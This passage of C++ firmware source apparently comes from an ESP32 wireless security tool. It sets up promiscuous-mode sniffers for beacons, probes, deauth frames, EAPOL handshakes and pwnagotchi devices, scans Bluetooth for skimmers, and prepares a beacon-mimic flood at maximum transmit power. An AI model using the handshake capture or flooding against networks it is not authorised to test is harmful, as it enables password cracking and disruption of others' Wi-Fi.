  642. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  643. #endif
  644. esp_wifi_init(&cfg);
  645. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  646. esp_wifi_set_mode(WIFI_MODE_NULL);
  647. esp_wifi_start();
  648. esp_wifi_set_promiscuous(true);
  649. esp_wifi_set_promiscuous_filter(&filt);
  650. esp_wifi_set_promiscuous_rx_cb(&espressifSnifferCallback);
  651. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  652. this->wifi_initialized = true;
  653. initTime = millis();
  654. }
  655. void WiFiScan::RunPacketMonitor(uint8_t scan_mode, uint16_t color)
  656. {
  657. #ifdef HAS_SCREEN
  658. display_obj.tft.init();
  659. display_obj.tft.setRotation(1);
  660. display_obj.tft.fillScreen(TFT_BLACK);
  661. #endif
  662. sd_obj.openCapture("packet_monitor");
  663. #ifdef HAS_SCREEN
  664. #ifdef TFT_SHIELD
  665. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  666. Serial.println("Using TFT Shield");
  667. #else if defined(TFT_DIY)
  668. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  669. Serial.println("Using TFT DIY");
  670. #endif
  671. display_obj.tft.setTouch(calData);
  672. //display_obj.tft.setFreeFont(1);
  673. display_obj.tft.setFreeFont(NULL);
  674. display_obj.tft.setTextSize(1);
  675. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  676. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  677. delay(10);
  678. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  679. display_obj.tftDrawColorKey();
  680. display_obj.tftDrawXScaleButtons(x_scale);
  681. display_obj.tftDrawYScaleButtons(y_scale);
  682. display_obj.tftDrawChannelScaleButtons(set_channel);
  683. display_obj.tftDrawExitScaleButtons();
  684. #endif
  685. Serial.println("Running packet scan...");
  686. esp_wifi_init(&cfg);
  687. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  688. esp_wifi_set_mode(WIFI_MODE_NULL);
  689. esp_wifi_start();
  690. esp_wifi_set_promiscuous(true);
  691. esp_wifi_set_promiscuous_filter(&filt);
  692. esp_wifi_set_promiscuous_rx_cb(&wifiSnifferCallback);
  693. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  694. this->wifi_initialized = true;
  695. uint32_t initTime = millis();
  696. }
  697. void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color)
  698. {
  699. num_eapol = 0;
  700. #ifdef HAS_SCREEN
  701. display_obj.tft.init();
  702. display_obj.tft.setRotation(1);
  703. display_obj.tft.fillScreen(TFT_BLACK);
  704. #endif
  705. sd_obj.openCapture("eapol");
  706. #ifdef HAS_SCREEN
  707. #ifdef TFT_SHIELD
  708. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  709. //Serial.println("Using TFT Shield");
  710. #else if defined(TFT_DIY)
  711. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  712. //Serial.println("Using TFT DIY");
  713. #endif
  714. display_obj.tft.setTouch(calData);
  715. display_obj.tft.setFreeFont(NULL);
  716. display_obj.tft.setTextSize(1);
  717. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  718. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  719. delay(10);
  720. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  721. display_obj.tftDrawEapolColorKey();
  722. display_obj.tftDrawChannelScaleButtons(set_channel);
  723. display_obj.tftDrawExitScaleButtons();
  724. #endif
  725. wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
  726. esp_wifi_init(&cfg);
  727. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  728. esp_wifi_set_mode(WIFI_MODE_NULL);
  729. esp_wifi_start();
  730. esp_wifi_set_promiscuous(true);
  731. esp_wifi_set_promiscuous_filter(&filt);
  732. esp_wifi_set_promiscuous_rx_cb(&eapolSnifferCallback);
  733. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  734. this->wifi_initialized = true;
  735. initTime = millis();
  736. }
  737. // Function to prepare for beacon mimic
  738. void WiFiScan::RunMimicFlood(uint8_t scan_mode, uint16_t color) {
  739. #ifdef HAS_SCREEN
  740. display_obj.TOP_FIXED_AREA_2 = 48;
  741. display_obj.tteBar = true;
  742. display_obj.print_delay_1 = 15;
  743. display_obj.print_delay_2 = 10;
  744. display_obj.initScrollValues(true);
  745. display_obj.tft.setTextWrap(false);
  746. display_obj.tft.setTextColor(TFT_BLACK, color);
  747. display_obj.tft.fillRect(0,16,240,16, color);
  748. display_obj.tft.drawCentreString(" Mimic Flood ",120,16,2);
  749. display_obj.touchToExit();
  750. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  751. #endif
  752. packets_sent = 0;
  753. esp_wifi_init(&cfg);
  754. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  755. esp_wifi_set_mode(WIFI_AP_STA);
  756. esp_wifi_start();
  757. esp_wifi_set_promiscuous_filter(NULL);
  758. esp_wifi_set_promiscuous(true);
  759. esp_wifi_set_max_tx_power(78);
  760. this->wifi_initialized = true;
  761. initTime = millis();
  762. }
  763. void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
  764. {
  765. sd_obj.openCapture("pwnagotchi");
  766. #ifdef HAS_SCREEN
  767. display_obj.TOP_FIXED_AREA_2 = 48;
  768. display_obj.tteBar = true;
  769. display_obj.print_delay_1 = 15;
  770. display_obj.print_delay_2 = 10;
  771. display_obj.initScrollValues(true);
  772. display_obj.tft.setTextWrap(false);
  773. display_obj.tft.setTextColor(TFT_WHITE, color);
  774. display_obj.tft.fillRect(0,16,240,16, color);
  775. display_obj.tft.drawCentreString(text_table4[37],120,16,2);
  776. display_obj.touchToExit();
  777. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  778. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  779. #endif
  780. esp_wifi_init(&cfg);
  781. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  782. esp_wifi_set_mode(WIFI_MODE_NULL);
  783. esp_wifi_start();
  784. esp_wifi_set_promiscuous(true);
  785. esp_wifi_set_promiscuous_filter(&filt);
  786. esp_wifi_set_promiscuous_rx_cb(&pwnSnifferCallback);
  787. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  788. this->wifi_initialized = true;
  789. initTime = millis();
  790. }
  791. // Function to start running a beacon scan
  792. void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color)
  793. {
  794. sd_obj.openCapture("beacon");
  795. #ifdef HAS_SCREEN
  796. display_obj.TOP_FIXED_AREA_2 = 48;
  797. display_obj.tteBar = true;
  798. display_obj.print_delay_1 = 15;
  799. display_obj.print_delay_2 = 10;
  800. display_obj.initScrollValues(true);
  801. display_obj.tft.setTextWrap(false);
  802. display_obj.tft.setTextColor(TFT_WHITE, color);
  803. display_obj.tft.fillRect(0,16,240,16, color);
  804. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  805. display_obj.touchToExit();
  806. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  807. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  808. #endif
  809. esp_wifi_init(&cfg);
  810. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  811. esp_wifi_set_mode(WIFI_MODE_NULL);
  812. esp_wifi_start();
  813. esp_wifi_set_promiscuous(true);
  814. esp_wifi_set_promiscuous_filter(&filt);
  815. esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback);
  816. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  817. this->wifi_initialized = true;
  818. initTime = millis();
  819. }
  820. void WiFiScan::RunDeauthScan(uint8_t scan_mode, uint16_t color)
  821. {
  822. sd_obj.openCapture("deauth");
  823. #ifdef HAS_SCREEN
  824. display_obj.TOP_FIXED_AREA_2 = 48;
  825. display_obj.tteBar = true;
  826. display_obj.print_delay_1 = 15;
  827. display_obj.print_delay_2 = 10;
  828. display_obj.initScrollValues(true);
  829. display_obj.tft.setTextWrap(false);
  830. display_obj.tft.setTextColor(TFT_BLACK, color);
  831. display_obj.tft.fillRect(0,16,240,16, color);
  832. display_obj.tft.drawCentreString(text_table4[39],120,16,2);
  833. display_obj.touchToExit();
  834. display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
  835. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  836. #endif
  837. esp_wifi_init(&cfg);
  838. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  839. esp_wifi_set_mode(WIFI_MODE_NULL);
  840. esp_wifi_start();
  841. esp_wifi_set_promiscuous(true);
  842. esp_wifi_set_promiscuous_filter(&filt);
  843. esp_wifi_set_promiscuous_rx_cb(&deauthSnifferCallback);
  844. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  845. this->wifi_initialized = true;
  846. initTime = millis();
  847. }
  848. // Function for running probe request scan
  849. void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color)
  850. {
  851. sd_obj.openCapture("probe");
  852. #ifdef HAS_SCREEN
  853. display_obj.TOP_FIXED_AREA_2 = 48;
  854. display_obj.tteBar = true;
  855. display_obj.print_delay_1 = 15;
  856. display_obj.print_delay_2 = 10;
  857. display_obj.initScrollValues(true);
  858. display_obj.tft.setTextWrap(false);
  859. display_obj.tft.setTextColor(TFT_BLACK, color);
  860. display_obj.tft.fillRect(0,16,240,16, color);
  861. display_obj.tft.drawCentreString(text_table4[40],120,16,2);
  862. display_obj.touchToExit();
  863. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  864. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  865. #endif
  866. esp_wifi_init(&cfg);
  867. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  868. esp_wifi_set_mode(WIFI_MODE_NULL);
  869. esp_wifi_start();
  870. esp_wifi_set_promiscuous(true);
  871. esp_wifi_set_promiscuous_filter(&filt);
  872. esp_wifi_set_promiscuous_rx_cb(&probeSnifferCallback);
  873. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  874. this->wifi_initialized = true;
  875. initTime = millis();
  876. }
  877. // Function to start running any BLE scan
  878. void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
  879. {
  880. #ifdef HAS_BT
  881. #ifdef HAS_SCREEN
  882. display_obj.print_delay_1 = 50;
  883. display_obj.print_delay_2 = 20;
  884. #endif
  885. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  886. NimBLEDevice::setScanDuplicateCacheSize(200);
  887. NimBLEDevice::init("");
  888. pBLEScan = NimBLEDevice::getScan(); //create new scan
  889. if (scan_mode == BT_SCAN_ALL)
  890. {
  891. #ifdef HAS_SCREEN
  892. display_obj.TOP_FIXED_AREA_2 = 48;
  893. display_obj.tteBar = true;
  894. display_obj.initScrollValues(true);
  895. display_obj.tft.setTextWrap(false);
  896. display_obj.tft.setTextColor(TFT_BLACK, color);
  897. display_obj.tft.fillRect(0,16,240,16, color);
  898. display_obj.tft.drawCentreString(text_table4[41],120,16,2);
  899. display_obj.touchToExit();
  900. display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
  901. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  902. #endif
  903. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
  904. }
  905. else if (scan_mode == BT_SCAN_SKIMMERS)
  906. {
  907. #ifdef HAS_SCREEN
  908. display_obj.TOP_FIXED_AREA_2 = 160;
  909. display_obj.tteBar = true;
  910. display_obj.tft.fillScreen(TFT_DARKGREY);
  911. display_obj.initScrollValues(true);
  912. display_obj.tft.setTextWrap(false);
  913. display_obj.tft.setTextColor(TFT_BLACK, color);
  914. display_obj.tft.fillRect(0,16,240,16, color);
  915. display_obj.tft.drawCentreString(text_table4[42],120,16,2);
  916. display_obj.twoPartDisplay(text_table4[43]);
  917. display_obj.tft.setTextColor(TFT_BLACK, TFT_DARKGREY);
  918. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  919. #endif
  920. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback(), false);
  921. }
  922. pBLEScan->setActiveScan(true); //active scan uses more power, but get results faster
  923. pBLEScan->setInterval(97);
  924. pBLEScan->setWindow(37); // less or equal setInterval value
  925. pBLEScan->setMaxResults(0);
  926. pBLEScan->start(0, scanCompleteCB, false);
  927. Serial.println("Started BLE Scan");
  928. this->ble_initialized = true;
  929. initTime = millis();
  930. #endif
  931. }
  932. // Function that is called when BLE scan is completed
  933. #ifdef HAS_BT
  934. void WiFiScan::scanCompleteCB(BLEScanResults scanResults) {
  935. printf("Scan complete!\n");
  936. printf("Found %d devices\n", scanResults.getCount());
  937. scanResults.dump();
  938. } // scanCompleteCB
  939. #endif
  940. // Function to extract MAC addr from a packet at given offset
  941. void WiFiScan::getMAC(char *addr, uint8_t* data, uint16_t offset) {
  942. sprintf(addr, "%02x:%02x:%02x:%02x:%02x:%02x", data[offset+0], data[offset+1], data[offset+2], data[offset+3], data[offset+4], data[offset+5]);
  943. }
  944. void WiFiScan::espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  945. {
  946. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  947. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  948. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  949. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  950. int len = snifferPacket->rx_ctrl.sig_len;
  951. String display_string = "";
  952. String src_addr_string = "";
  953. if (type == WIFI_PKT_MGMT)
  954. {
  955. len -= 4;
  956. }
  957. int fctl = ntohs(frameControl->fctl);
  958. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  959. const WifiMgmtHdr *hdr = &ipkt->hdr;
  960. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  961. //if ((snifferPacket->payload[0] == 0x80) && (display_obj.display_buffer->size() == 0))
  962. //{
  963. char addr[] = "00:00:00:00:00:00";
  964. getMAC(addr, snifferPacket->payload, 10);
  965. src_addr_string.concat(addr);
  966. bool match = false;
  967. for (int i = 0; i < (sizeof(espressif_macs) / sizeof(espressif_macs[0])); i++) {
  968. if (src_addr_string.startsWith(espressif_macs[i])) {
  969. match = true;
  970. break;
  971. }
  972. }
  973. if (!match)
  974. return;
  975. delay(random(0, 10));
  976. Serial.print("RSSI: ");
  977. Serial.print(snifferPacket->rx_ctrl.rssi);
  978. Serial.print(" Ch: ");
  979. Serial.print(snifferPacket->rx_ctrl.channel);
  980. Serial.print(" BSSID: ");
  981. Serial.print(addr);
  982. //display_string.concat(" RSSI: ");
  983. //display_string.concat(snifferPacket->rx_ctrl.rssi);
  984. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  985. //display_string.concat(" ");
  986. display_string.concat(" -> ");
  987. display_string.concat(addr);
  988. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  989. {
  990. display_string.concat(" ");
  991. }
  992. Serial.print(" ");
  993. #ifdef HAS_SCREEN
  994. display_obj.loading = true;
  995. display_obj.display_buffer->add(display_string);
  996. display_obj.loading = false;
  997. #endif
  998. Serial.println();
  999. if (save_packet)
  1000. sd_obj.addPacket(snifferPacket->payload, len);
  1001. //}
  1002. }
  1003. void WiFiScan::pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1004. {
  1005. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1006. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1007. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1008. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1009. int len = snifferPacket->rx_ctrl.sig_len;
  1010. String display_string = "";
  1011. String src = "";
  1012. String essid = "";
  1013. if (type == WIFI_PKT_MGMT)
  1014. {
  1015. len -= 4;
  1016. int fctl = ntohs(frameControl->fctl);
  1017. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1018. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1019. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1020. #ifdef HAS_SCREEN
  1021. int buf = display_obj.display_buffer->size();
  1022. #else
  1023. int buf = 0;
  1024. #endif
  1025. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1026. {
  1027. char addr[] = "00:00:00:00:00:00";
  1028. getMAC(addr, snifferPacket->payload, 10);
  1029. src.concat(addr);
  1030. if (src == "de:ad:be:ef:de:ad") {
  1031. delay(random(0, 10));
  1032. Serial.print("RSSI: ");
  1033. Serial.print(snifferPacket->rx_ctrl.rssi);
  1034. Serial.print(" Ch: ");
  1035. Serial.print(snifferPacket->rx_ctrl.channel);
  1036. Serial.print(" BSSID: ");
  1037. Serial.print(addr);
  1038. //display_string.concat(addr);
  1039. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1040. Serial.print(" ESSID: ");
  1041. display_string.concat(" -> ");
  1042. // Just grab the first 255 bytes of the pwnagotchi beacon
  1043. // because that is where the name is
  1044. //for (int i = 0; i < snifferPacket->payload[37]; i++)
  1045. for (int i = 0; i < len - 37; i++)
  1046. {
  1047. Serial.print((char)snifferPacket->payload[i + 38]);
  1048. //display_string.concat((char)snifferPacket->payload[i + 38]);
  1049. if (isAscii(snifferPacket->payload[i + 38]))
  1050. essid.concat((char)snifferPacket->payload[i + 38]);
  1051. else
  1052. Serial.println("Got non-ascii character: " + (String)(char)snifferPacket->payload[i + 38]);
  1053. }
  1054. //essid.concat("\": \"\"}}");
  1055. //Serial.println("\n" + (String)(snifferPacket->payload[37]) + " -> " + essid);
  1056. // Load json
  1057. //DynamicJsonBuffer jsonBuffer; // ArduinoJson v5
  1058. DynamicJsonDocument json(1024); // ArduinoJson v6
  1059. //JsonObject& json = jsonBuffer.parseObject(essid); // ArduinoJson v5
  1060. // ArduinoJson v6
  1061. if (deserializeJson(json, essid)) {
  1062. Serial.println("\nCould not parse Pwnagotchi json");
  1063. display_string.concat(essid);
  1064. }
  1065. else {
  1066. Serial.println("\nSuccessfully parsed json");
  1067. String json_output;
  1068. //json.printTo(json_output); // ArduinoJson v5
  1069. serializeJson(json, json_output); // ArduinoJson v6
  1070. Serial.println(json_output);
  1071. display_string.concat(json["name"].as<String>() + " pwnd: " + json["pwnd_tot"].as<String>());
  1072. }
  1073. int temp_len = display_string.length();
  1074. for (int i = 0; i < 40 - temp_len; i++)
  1075. {
  1076. display_string.concat(" ");
  1077. }
  1078. Serial.print(" ");
  1079. #ifdef HAS_SCREEN
  1080. if (display_obj.display_buffer->size() == 0)
  1081. {
  1082. display_obj.loading = true;
  1083. display_obj.display_buffer->add(display_string);
  1084. display_obj.loading = false;
  1085. }
  1086. #endif
  1087. Serial.println();
  1088. if (save_packet)
  1089. sd_obj.addPacket(snifferPacket->payload, len);
  1090. }
  1091. }
  1092. }
  1093. }
  1094. void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1095. {
  1096. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1097. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1098. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1099. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1100. int len = snifferPacket->rx_ctrl.sig_len;
  1101. String display_string = "";
  1102. String essid = "";
  1103. String bssid = "";
  1104. if (type == WIFI_PKT_MGMT)
  1105. {
  1106. len -= 4;
  1107. int fctl = ntohs(frameControl->fctl);
  1108. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1109. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1110. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1111. #ifdef HAS_SCREEN
  1112. int buf = display_obj.display_buffer->size();
  1113. #else
  1114. int buf = 0;
  1115. #endif
  1116. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1117. {
  1118. char addr[] = "00:00:00:00:00:00";
  1119. getMAC(addr, snifferPacket->payload, 10);
  1120. bool in_list = false;
  1121. bool mac_match = true;
  1122. for (int i = 0; i < access_points->size(); i++) {
  1123. mac_match = true;
  1124. //Serial.print("Checking ");
  1125. //Serial.print(addr);
  1126. //Serial.println(" against " + (String)access_points->get(i).essid);
  1127. for (int x = 0; x < 6; x++) {
  1128. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1129. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1130. mac_match = false;
  1131. //Serial.println("MACs do not match");
  1132. break;
  1133. }
  1134. }
  1135. if (mac_match) {
  1136. in_list = true;
  1137. break;
  1138. }
  1139. }
  1140. if (!in_list) {
  1141. delay(random(0, 10));
  1142. Serial.print("RSSI: ");
  1143. Serial.print(snifferPacket->rx_ctrl.rssi);
  1144. Serial.print(" Ch: ");
  1145. Serial.print(snifferPacket->rx_ctrl.channel);
  1146. Serial.print(" BSSID: ");
  1147. Serial.print(addr);
  1148. display_string.concat(addr);
  1149. Serial.print(" ESSID: ");
  1150. display_string.concat(" -> ");
  1151. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1152. {
  1153. Serial.print((char)snifferPacket->payload[i + 38]);
  1154. display_string.concat((char)snifferPacket->payload[i + 38]);
  1155. essid.concat((char)snifferPacket->payload[i + 38]);
  1156. }
  1157. bssid.concat(addr);
  1158. int temp_len = display_string.length();
  1159. for (int i = 0; i < 40 - temp_len; i++)
  1160. {
  1161. display_string.concat(" ");
  1162. }
  1163. Serial.print(" ");
  1164. #ifdef HAS_SCREEN
  1165. if (display_obj.display_buffer->size() == 0)
  1166. {
  1167. display_obj.loading = true;
  1168. display_obj.display_buffer->add(display_string);
  1169. display_obj.loading = false;
  1170. }
  1171. #endif
  1172. if (essid == "") {
  1173. essid = bssid;
  1174. Serial.print(essid + " ");
  1175. }
  1176. AccessPoint ap = {essid,
  1177. snifferPacket->rx_ctrl.channel,
  1178. {snifferPacket->payload[10],
  1179. snifferPacket->payload[11],
  1180. snifferPacket->payload[12],
  1181. snifferPacket->payload[13],
  1182. snifferPacket->payload[14],
  1183. snifferPacket->payload[15]},
  1184. false};
  1185. access_points->add(ap);
  1186. Serial.print(access_points->size());
  1187. Serial.println();
  1188. if (save_packet)
  1189. sd_obj.addPacket(snifferPacket->payload, len);
  1190. }
  1191. }
  1192. }
  1193. }
  1194. void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1195. {
  1196. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1197. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1198. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1199. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1200. int len = snifferPacket->rx_ctrl.sig_len;
  1201. String display_string = "";
  1202. if (type == WIFI_PKT_MGMT)
  1203. {
  1204. len -= 4;
  1205. int fctl = ntohs(frameControl->fctl);
  1206. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1207. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1208. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1209. #ifdef HAS_SCREEN
  1210. int buf = display_obj.display_buffer->size();
  1211. #else
  1212. int buf = 0;
  1213. #endif
  1214. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1215. {
  1216. delay(random(0, 10));
  1217. Serial.print("RSSI: ");
  1218. Serial.print(snifferPacket->rx_ctrl.rssi);
  1219. Serial.print(" Ch: ");
  1220. Serial.print(snifferPacket->rx_ctrl.channel);
  1221. Serial.print(" BSSID: ");
  1222. char addr[] = "00:00:00:00:00:00";
  1223. getMAC(addr, snifferPacket->payload, 10);
  1224. Serial.print(addr);
  1225. display_string.concat(addr);
  1226. Serial.print(" ESSID: ");
  1227. display_string.concat(" -> ");
  1228. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1229. {
  1230. Serial.print((char)snifferPacket->payload[i + 38]);
  1231. display_string.concat((char)snifferPacket->payload[i + 38]);
  1232. }
  1233. int temp_len = display_string.length();
  1234. #ifdef HAS_SCREEN
  1235. for (int i = 0; i < 40 - temp_len; i++)
  1236. {
  1237. display_string.concat(" ");
  1238. }
  1239. Serial.print(" ");
  1240. if (display_obj.display_buffer->size() == 0)
  1241. {
  1242. display_obj.loading = true;
  1243. display_obj.display_buffer->add(display_string);
  1244. display_obj.loading = false;
  1245. }
  1246. #endif
  1247. Serial.println();
  1248. if (save_packet)
  1249. sd_obj.addPacket(snifferPacket->payload, len);
  1250. }
  1251. }
  1252. }
  1253. void WiFiScan::deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1254. {
  1255. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1256. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1257. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1258. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1259. int len = snifferPacket->rx_ctrl.sig_len;
  1260. String display_string = "";
  1261. if (type == WIFI_PKT_MGMT)
  1262. {
  1263. len -= 4;
  1264. int fctl = ntohs(frameControl->fctl);
  1265. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1266. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1267. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1268. #ifdef HAS_SCREEN
  1269. int buf = display_obj.display_buffer->size();
  1270. #else
  1271. int buf = 0;
  1272. #endif
  1273. if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ) && (buf == 0))
  1274. {
  1275. delay(random(0, 10));
  1276. Serial.print("RSSI: ");
  1277. Serial.print(snifferPacket->rx_ctrl.rssi);
  1278. Serial.print(" Ch: ");
  1279. Serial.print(snifferPacket->rx_ctrl.channel);
  1280. Serial.print(" BSSID: ");
  1281. char addr[] = "00:00:00:00:00:00";
  1282. getMAC(addr, snifferPacket->payload, 10);
  1283. Serial.print(addr);
  1284. display_string.concat(text_table4[0]);
  1285. display_string.concat(snifferPacket->rx_ctrl.rssi);
  1286. display_string.concat(" ");
  1287. display_string.concat(addr);
  1288. #ifdef HAS_SCREEN
  1289. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1290. {
  1291. display_string.concat(" ");
  1292. }
  1293. Serial.print(" ");
  1294. if (display_obj.display_buffer->size() == 0)
  1295. {
  1296. display_obj.loading = true;
  1297. display_obj.display_buffer->add(display_string);
  1298. display_obj.loading = false;
  1299. }
  1300. #endif
  1301. Serial.println();
  1302. if (save_packet)
  1303. sd_obj.addPacket(snifferPacket->payload, len);
  1304. }
  1305. }
  1306. }
  1307. void WiFiScan::probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1308. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1309. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1310. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1311. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1312. int len = snifferPacket->rx_ctrl.sig_len;
  1313. String display_string = "";
  1314. if (type == WIFI_PKT_MGMT)
  1315. {
  1316. len -= 4;
  1317. int fctl = ntohs(frameControl->fctl);
  1318. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1319. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1320. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1321. #ifdef HAS_SCREEN
  1322. int buf = display_obj.display_buffer->size();
  1323. #else
  1324. int buf = 0;
  1325. #endif
  1326. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1327. {
  1328. delay(random(0, 10));
  1329. Serial.print("RSSI: ");
  1330. Serial.print(snifferPacket->rx_ctrl.rssi);
  1331. Serial.print(" Ch: ");
  1332. Serial.print(snifferPacket->rx_ctrl.channel);
  1333. Serial.print(" Client: ");
  1334. char addr[] = "00:00:00:00:00:00";
  1335. getMAC(addr, snifferPacket->payload, 10);
  1336. Serial.print(addr);
  1337. display_string.concat(addr);
  1338. Serial.print(" Requesting: ");
  1339. display_string.concat(" -> ");
  1340. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1341. {
